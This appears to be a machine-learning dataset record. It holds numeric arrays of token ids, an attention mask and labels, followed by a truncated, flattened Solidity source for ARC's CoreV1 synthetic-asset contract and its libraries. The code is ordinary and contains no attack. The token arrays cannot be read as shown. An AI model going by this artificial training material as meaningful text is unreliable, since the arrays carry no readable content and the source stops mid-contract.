6908,
12698,
434,
23701,
1353,
18,
225,
389,
1132,
26552,
284,
19156,
16,
316,
732,
77,
18,
225,
389,
6908,
12698,
364,
1492,
358,
283,
24293,
23701,
1353,
18,
225,
389,
5759,
8072,
460,
358,
3455,
23701,
4001,
18,
225,
389,
4930,
5267,
358,
598,
9446,
2430,
471,
23183,
284,
19156,
358,
18,
19,
23123,
866,
358,
1221,
3071,
729,
3281,
414,
392,
2308,
4480,
1338,
283,
24293,
695,
18931,
11077,
316,
326,
1024,
3879,
8315,
1758,
848,
1338,
1221,
279,
2202,
23701,
1534,
3879,
3609,
30,
2727,
1404,
1608,
358,
8312,
3879,
2674,
1021,
460,
283,
537,
18931,
1297,
486,
506,
6802,
2353,
326,
460,
7243,
3271,
2000,
1281,
2870,
11013,
358,
326,
2308,
2,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
283,
24293,
23164,
2448,
12,
3890,
1578,
389,
307,
18931,
23164,
2448,
16,
2254,
389,
6908,
16,
2254,
389,
1132,
16,
1731,
1578,
389,
5759,
16,
1758,
389,
4930,
13,
1071,
288,
203,
3639,
2583,
24899,
4930,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
2972,
5027,
1016,
1435,
422,
389,
6908,
18,
1289,
12,
21,
10019,
203,
3639,
12698,
2502,
3879,
273,
12777,
63,
67,
6908,
15533,
203,
3639,
2583,
12,
6908,
18,
13831,
63,
3576,
18,
15330,
65,
422,
1758,
12,
20,
10019,
203,
203,
203,
3639,
1731,
1578,
366,
273,
752,
23164,
2448,
12,
3576,
18,
15330,
16,
389,
6908,
16,
389,
1132,
16,
389,
5759,
1769,
203,
3639,
2583,
12,
76,
422,
389,
307,
18931,
23164,
2448,
1769,
203,
203,
3639,
2583,
24899,
1132,
1648,
3879,
18,
15213,
38,
26488,
63,
3576,
18,
15330,
19226,
203,
203,
3639,
3879,
18,
4963,
8872,
273,
3879,
18,
4963,
8872,
18,
1289,
24899,
1132,
1769,
203,
3639,
2254,
10022,
273,
3879,
18,
15213,
38,
26488,
63,
3576,
18,
15330,
8009,
1717,
24899,
1132,
1769,
203,
3639,
3879,
18,
15213,
38,
26488,
63,
3576,
18,
15330,
65,
273,
389,
1132,
31,
203,
3639,
3879,
18,
13831,
63,
3576,
18,
15330,
65,
273,
389,
4930,
31,
203,
203,
3639,
3626,
3265,
18931,
2448,
426,
537,
18931,
12,
3576,
18,
15330,
16,
389,
6908,
16,
389,
4930,
16,
389,
1132,
1769,
203,
203,
3639,
389,
4930,
18,
13866,
12,
2764,
25407,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
/ | __ / ____|
/ | |__) | | |
/ / | _ / | |
/ ____ | | | |____
/_/ _ |_| _ _____|
* ARC: v1/CoreV1.sol
*
* Latest source (may be newer): https://github.com/arcxgame/contracts/blob/master/contracts/v1/CoreV1.sol
*
* Contract Dependencies:
* - Adminable
* - StorageV1
* Libraries:
* - Address
* - Decimal
* - Math
* - SafeERC20
* - SafeMath
* - Storage
* - TypesV1
*
* MIT License
* ===========
*
* Copyright (c) 2020 ARC
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma experimental ABIEncoderV2;
/* ===============================================
* Flattened with Solidifier by Coinage
*
* https://solidifier.coina.ge
* ===============================================
*/
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
interface ISyntheticToken {
function symbolKey()
external
view
returns (bytes32);
function mint(
address to,
uint256 value
)
external;
function burn(
address to,
uint256 value
)
external;
function transferCollateral(
address token,
address to,
uint256 value
)
external
returns (bool);
}
// SPDX-License-Identifier: MIT
interface IMintableToken {
function mint(
address to,
uint256 value
)
external;
function burn(
address to,
uint256 value
)
external;
}
// SPDX-License-Identifier: MIT
/**
* @title Math
*
* Library for non-standard Math functions
*/
library Math {
using SafeMath for uint256;
// ============ Library Functions ============
/*
* Return target * (numerator / denominator).
*/
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function to128(
uint256 number
)
internal
pure
returns (uint128)
{
uint128 result = uint128(number);
require(
result == number,
"Math: Unsafe cast to uint128"
);
return result;
}
function to96(
uint256 number
)
internal
pure
returns (uint96)
{
uint96 result = uint96(number);
require(
result == number,
"Math: Unsafe cast to uint96"
);
return result;
}
function to32(
uint256 number
)
internal
pure
returns (uint32)
{
uint32 result = uint32(number);
require(
result == number,
"Math: Unsafe cast to uint32"
);
return result;
}
function min(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
// SPDX-License-Identifier: MIT
/**
* @title Decimal
*
* Library that defines a fixed-point number with 18 decimal places.
*/
library Decimal {
using SafeMath for uint256;
// ============ Constants ============
uint256 constant BASE = 10**18;
// ============ Structs ============
struct D256 {
uint256 value;
}
// ============ Functions ============
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function onePlus(
D256 memory d
)
internal
pure
returns (D256 memory)
{
return D256({ value: d.value.add(BASE) });
}
function mul(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, d.value, BASE);
}
function mul(
D256 memory d1,
D256 memory d2
)
internal
pure
returns (D256 memory)
{
return Decimal.D256({ value: Math.getPartial(d1.value, d2.value, BASE) });
}
function div(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, BASE, d.value);
}
function add(
D256 memory d,
uint256 amount
)
internal
pure
returns (D256 memory)
{
return D256({ value: d.value.add(amount) });
}
function sub(
D256 memory d,
uint256 amount
)
internal
pure
returns (D256 memory)
{
return D256({ value: d.value.sub(amount) });
}
}
// SPDX-License-Identifier: MIT
interface IOracle {
function fetchCurrentPrice()
external
view
returns (Decimal.D256 memory);
}
// SPDX-License-Identifier: MIT
library TypesV1 {
using Math for uint256;
using SafeMath for uint256;
// ============ Enums ============
enum AssetType {
Collateral,
Synthetic
}
// ============ Structs ============
struct MarketParams {
Decimal.D256 collateralRatio;
Decimal.D256 liquidationUserFee;
Decimal.D256 liquidationArcFee;
}
struct Position {
address owner;
AssetType collateralAsset;
AssetType borrowedAsset;
Par collateralAmount;
Par borrowedAmount;
}
struct RiskParams {
uint256 collateralLimit;
uint256 syntheticLimit;
uint256 positionCollateralMinimum;
}
// ============ AssetAmount ============
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
// ============ ArcAsset ============
function oppositeAsset(
AssetType assetType
)
internal
pure
returns (AssetType)
{
return assetType == AssetType.Collateral ? AssetType.Synthetic : AssetType.Collateral;
}
// ============ Par (Principal Amount) ============
// Individual principal amount for an account
struct Par {
bool sign; // true if positive
uint128 value;
}
function zeroPar()
internal
pure
returns (Par memory)
{
return Par({
sign: false,
value: 0
});
}
function positiveZeroPar()
internal
pure
returns (Par memory)
{
return Par({
sign: true,
value: 0
});
}
function sub(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
return add(a, negative(b));
}
function add(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
Par memory result;
if (a.sign == b.sign) {
result.sign = a.sign;
result.value = SafeMath.add(a.value, b.value).to128();
} else {
if (a.value >= b.value) {
result.sign = a.sign;
result.value = SafeMath.sub(a.value, b.value).to128();
} else {
result.sign = b.sign;
result.value = SafeMath.sub(b.value, a.value).to128();
}
}
return result;
}
function equals(
Par memory a,
Par memory b
)
internal
pure
returns (bool)
{
if (a.value == b.value) {
if (a.value == 0) {
return true;
}
return a.sign == b.sign;
}
return false;
}
function negative(
Par memory a
)
internal
pure
returns (Par memory)
{
return Par({
sign: !a.sign,
value: a.value
});
}
function isNegative(
Par memory a
)
internal
pure
returns (bool)
{
return !a.sign && a.value > 0;
}
function isPositive(
Par memory a
)
internal
pure
returns (bool)
{
return a.sign && a.value > 0;
}
function isZero(
Par memory a
)
internal
pure
returns (bool)
{
return a.value == 0;
}
}
// SPDX-License-Identifier: MIT
library Storage {
/**
* @dev Performs an SLOAD and returns the data in the slot.
*/
function load(
bytes32 slot
)
internal
view
returns (bytes32)
{
bytes32 result;
/* solium-disable-next-line security/no-inline-assembly */
assembly {
result := sload(slot)
}
return result;
}
/**
* @dev Performs an SSTORE to save the value to the slot.
*/
function store(
bytes32 slot,
bytes32 value
)
internal
{
/* solium-disable-next-line security/no-inline-assembly */
assembly {
sstore(slot, value)
}
}
}
/**
* @title Adminable
* @author dYdX
*
* @dev EIP-1967 Proxy Admin contract.
*/
contract Adminable {
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1.
*/
bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will revert.
*/
modifier onlyAdmin() {
require(
msg.sender == getAdmin(),
"Adminable: caller is not admin"
);
_;
}
/**
* @return The EIP-1967 proxy admin
*/
function getAdmin()
public
view
returns (address)
{
return address(uint160(uint256(Storage.load(ADMIN_SLOT))));
}
}
// SPDX-License-Identifier: MIT
/**
* @title StateV1
* @author Kerman Kohli
* @notice This contract holds all the state regarding a sythetic asset protocol.
* The contract has an owner and core address which can call certain functions.
*/
contract StateV1 {
using Math for uint256;
using SafeMath for uint256;
using TypesV1 for TypesV1.Par;
// ============ Variables ============
address public core;
address public admin;
TypesV1.MarketParams public market;
TypesV1.RiskParams public risk;
IOracle public oracle;
address public collateralAsset;
address public syntheticAsset;
uint256 public positionCount;
uint256 public totalSupplied;
mapping (uint256 => TypesV1.Position) public positions;
// ============ Events ============
event MarketParamsUpdated(TypesV1.MarketParams updatedMarket);
event RiskParamsUpdated(TypesV1.RiskParams updatedParams);
event OracleUpdated(address updatedOracle);
// ============ Constructor ============
constructor(
address _core,
address _admin,
address _collateralAsset,
address _syntheticAsset,
address _oracle,
TypesV1.MarketParams memory _marketParams,
TypesV1.RiskParams memory _riskParams
)
public
{
core = _core;
admin = _admin;
collateralAsset = _collateralAsset;
syntheticAsset = _syntheticAsset;
setOracle(_oracle);
setMarketParams(_marketParams);
setRiskParams(_riskParams);
}
// ============ Modifiers ============
modifier onlyCore() {
require(
msg.sender == core,
"StateV1: only core can call"
);
_;
}
modifier onlyAdmin() {
require(
msg.sender == admin,
"StateV1: only admin can call"
);
_;
}
// ============ Admin Setters ============
/**
* @dev Set the address of the oracle
*
* @param _oracle Address of the oracle to set
*/
function setOracle(
address _oracle
)
public
onlyAdmin
{
require(
_oracle != address(0),
"StateV1: cannot set 0 for oracle address"
);
oracle = IOracle(_oracle);
emit OracleUpdated(_oracle);
}
/**
* @dev Set the parameters of the market
*
* @param _marketParams Set the new market params
*/
function setMarketParams(
TypesV1.MarketParams memory _marketParams
)
public
onlyAdmin
{
market = _marketParams;
emit MarketParamsUpdated(market);
}
/**
* @dev Set the risk parameters of the market
*
* @param _riskParams Set the risk levels of the market
*/
function setRiskParams(
TypesV1.RiskParams memory _riskParams
)
public
onlyAdmin
{
risk = _riskParams;
emit RiskParamsUpdated(risk);
}
// ============ Core Setters ============
function updateTotalSupplied(
uint256 amount
)
public
onlyCore
{
totalSupplied = totalSupplied.add(amount);
}
function savePosition(
TypesV1.Position memory position
)
public
onlyCore
returns (uint256)
{
uint256 idToAllocate = positionCount;
positions[positionCount] = position;
positionCount = positionCount.add(1);
return idToAllocate;
}
function setAmount(
uint256 id,
TypesV1.AssetType asset,
TypesV1.Par memory amount
)
public
onlyCore
returns (TypesV1.Position memory)
{
TypesV1.Position storage position = positions[id];
if (position.collateralAsset == asset) {
position.collateralAmount = amount;
} else {
position.borrowedAmount = amount;
}
return position;
}
function updatePositionAmount(
uint256 id,
TypesV1.AssetType asset,
TypesV1.Par memory amount
)
public
onlyCore
returns (TypesV1.Position memory)
{
TypesV1.Position storage position = positions[id];
if (position.collateralAsset == asset) {
position.collateralAmount = position.collateralAmount.add(amount);
} else {
position.borrowedAmount = position.borrowedAmount.add(amount);
}
return position;
}
// ============ Public Getters ============
function getAddress(
TypesV1.AssetType asset
)
public
view
returns (address)
{
return asset == TypesV1.AssetType.Collateral ?
address(collateralAsset) :
address(syntheticAsset);
}
function getPosition(
uint256 id
)
public
view
returns (TypesV1.Position memory)
{
return positions[id];
}
function getCurrentPrice()
public
view
returns (Decimal.D256 memory)
{
return oracle.fetchCurrentPrice();
}
// ============ Calculation Getters ============
function isCollateralized(
TypesV1.Position memory position
)
public
view
returns (bool)
{
if (position.borrowedAmount.value == 0) {
return true;
}
Decimal.D256 memory currentPrice = oracle.fetchCurrentPrice();
(TypesV1.Par memory collateralDelta) = calculateCollateralDelta(
position.borrowedAsset,
position.collateralAmount,
position.borrowedAmount,
currentPrice
);
return collateralDelta.sign || collateralDelta.value == 0;
}
/**
* @dev Given an asset, calculate the inverse amount of that asset
*
* @param asset The asset in question here
* @param amount The amount of this asset
* @param price What price do you want to calculate the inverse at
*/
function calculateInverseAmount(
TypesV1.AssetType asset,
uint256 amount,
Decimal.D256 memory price
)
public
pure
returns (uint256)
{
uint256 borrowRequired;
if (asset == TypesV1.AssetType.Collateral) {
borrowRequired = Decimal.mul(
amount,
price
);
} else if (asset == TypesV1.AssetType.Synthetic) {
borrowRequired = Decimal.div(
amount,
price
);
}
return borrowRequired;
}
/**
* @dev Similar to calculateInverseAmount although the difference being
* that this factors in the collateral ratio.
*
* @param asset The asset in question here
* @param amount The amount of this asset
* @param price What price do you want to calculate the inverse at
*/
function calculateInverseRequired(
TypesV1.AssetType asset,
uint256 amount,
Decimal.D256 memory price
)
public
view
returns (TypesV1.Par memory)
{
uint256 inverseRequired = calculateInverseAmount(
asset,
amount,
price
);
if (asset == TypesV1.AssetType.Collateral) {
inverseRequired = Decimal.div(
inverseRequired,
market.collateralRatio
);
} else if (asset == TypesV1.AssetType.Synthetic) {
inverseRequired = Decimal.mul(
inverseRequired,
market.collateralRatio
);
}
return TypesV1.Par({
sign: true,
value: inverseRequired.to128()
});
}
/**
* @dev When executing a liqudation, the price of the asset has to be calculated
* at a discount in order for it to be profitable for the liquidator. This function
* will get the current oracle price for the asset and find the discounted price.
*
* @param asset The asset in question here
*/
function calculateLiquidationPrice(
TypesV1.AssetType asset
)
public
view
returns (Decimal.D256 memory)
{
Decimal.D256 memory result;
Decimal.D256 memory currentPrice = oracle.fetchCurrentPrice();
uint256 totalSpread = market.liquidationUserFee.value.add(
market.liquidationArcFee.value
);
if (asset == TypesV1.AssetType.Collateral) {
result = Decimal.sub(
Decimal.one(),
totalSpread
);
} else if (asset == TypesV1.AssetType.Synthetic) {
result = Decimal.add(
Decimal.one(),
totalSpread
);
}
result = Decimal.mul(
currentPrice,
result
);
return result;
}
/**
* @dev Given an asset being borrowed, figure out how much collateral can this still borrow or
* is in the red by. This function is used to check if a position is undercolalteralised and
* also to calculate how much can a position be liquidated by.
*
* @param borrowedAsset The asset which is being borrowed
* @param parSupply The amount being supplied
* @param parBorrow The amount being borrowed
* @param price The price to calculate this difference by
*/
function calculateCollateralDelta(
TypesV1.AssetType borrowedAsset,
TypesV1.Par memory parSupply,
TypesV1.Par memory parBorrow,
Decimal.D256 memory price
)
public
view
returns (TypesV1.Par memory)
{
TypesV1.Par memory collateralDelta;
TypesV1.Par memory collateralRequired;
if (borrowedAsset == TypesV1.AssetType.Collateral) {
collateralRequired = calculateInverseRequired(
borrowedAsset,
parBorrow.value,
price
);
} else if (borrowedAsset == TypesV1.AssetType.Synthetic) {
collateralRequired = calculateInverseRequired(
borrowedAsset,
parBorrow.value,
price
);
}
collateralDelta = parSupply.sub(collateralRequired);
return collateralDelta;
}
/**
* @dev Add the user liqudation fee with the arc liquidation fee
*/
function totalLiquidationSpread()
public
view
returns (Decimal.D256 memory)
{
return Decimal.D256({
value: market.liquidationUserFee.value.add(
market.liquidationArcFee.value
)
});
}
/**
* @dev Calculate the liquidation ratio between the user and ARC.
*
* @return First parameter it the user ratio, second is ARC's ratio
*/
function calculateLiquidationSplit()
public
view
returns (
Decimal.D256 memory,
Decimal.D256 memory
)
{
Decimal.D256 memory total = Decimal.D256({
value: market.liquidationUserFee.value.add(
market.liquidationArcFee.value
)
});
Decimal.D256 memory userRatio = Decimal.D256({
value: Decimal.div(
market.liquidationUserFee.value,
total
)
});
return (
userRatio,
Decimal.sub(
Decimal.one(),
userRatio.value
)
);
}
}
// SPDX-License-Identifier: MIT
contract StorageV1 {
bool public paused;
StateV1 public state;
}
// SPDX-License-Identifier: MIT
/**
* @title CoreV1
* @author Kerman Kohli
* @notice This contract holds the core logic for manipulating ARC state. Ideally
both state and logic could be in one or as libraries however the bytecode
size is too large for this to occur. The core can be replaced via a new
proxy implementation for upgrade purposes. Important to note that NO user
funds are held in this contract. All funds are held inside the synthetic
asset itself. This was done to show transparency around how much collateral
is always backing a synth via Etherscan.
*/
contract CoreV1 is StorageV1, Adminable {
// ============ Libraries ============
using SafeMath for uint256;
using Math for uint256;
using TypesV1 for TypesV1.Par;
// ============ Types ============
enum Operation {
Open,
Borrow,
Repay,
Liquidate
}
struct OperationParams {
uint256 id;
uint256 amountOne;
uint256 amountTwo;
}
// ============ Events ============
event ActionOperated(
uint8 operation,
OperationParams params,
TypesV1.Position updatedPosition
);
event ExcessTokensWithdrawn(
address token,
uint256 amount,
address destination
);
event PauseStatusUpdated(
bool value
);
// ============ Constructor ============
constructor() public {
paused = true;
}
function init(address _state)
external
{
require(
address(state) == address(0),
"CoreV1.init(): cannot recall init"
);
state = StateV1(_state);
paused = false;
}
// ============ Public Functions ============
/**
* @dev This is the only function that can be called by user's of the system
